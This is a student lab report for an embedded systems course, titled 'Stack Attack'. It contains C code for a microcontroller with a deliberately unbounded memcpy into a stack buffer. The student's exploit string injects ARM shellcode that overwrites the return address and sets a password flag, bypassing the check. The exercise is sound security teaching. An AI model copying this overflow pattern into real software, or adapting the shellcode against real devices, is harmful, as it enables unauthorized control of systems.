Lab #3

Stack Attack

Zak Walton

EGR 424 – Dr. Parikh

6/7/2016

|  |
| --- |
| #include <string.h>  #include "inc/hw\_types.h"  #include "driverlib/debug.h"  #include "driverlib/sysctl.h"  #include "drivers/rit128x96x4.h"  volatile int gPasswordEntered = 0;  void addToHtml(const char \*str)  {  // Function to display string to user's web browser.  // Just a stub since this is not important.  ;  }  void printUserWelcome(const char \*userName, unsigned userNameLength)  {  char buf[50] = "Welcome to the web site, ";  // EXTRA CREDIT: Why can't you use strcat() and omit  // the userNameLength parameter?  memcpy(buf+strlen(buf), userName, userNameLength);  addToHtml(buf);  gPasswordEntered = 0; // Indicate user needs to enter a password  }  void main(void)  {  // Set the clocking to run directly from the crystal.  SysCtlClockSet(SYSCTL\_SYSDIV\_1 | SYSCTL\_USE\_OSC | SYSCTL\_OSC\_MAIN |  SYSCTL\_XTAL\_8MHZ);  RIT128x96x4Init(1000000); // Initialize the OLED display.  // Replace 'Harold' and 6 with exploit string and its  // length  printUserWelcome("\0\0\0" // Front padding  "\x4f\xf0\x01\x06" // mov.w r6, #1  "\x02\x96" // str r6, [sp, #8]  "\x40\xf2\x93\x1e" // movw lr, #403  "\x70\x47" // bx lr  "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" // End padding  "\xD1\x00\x00\x20", 43); // Place 0x200000D1 in the link register instead  if (gPasswordEntered)  {  RIT128x96x4StringDraw("Success!", 32, 24, 15);  }  else  {  RIT128x96x4StringDraw("Failure!", 32, 24, 15);  }  while (1);  } |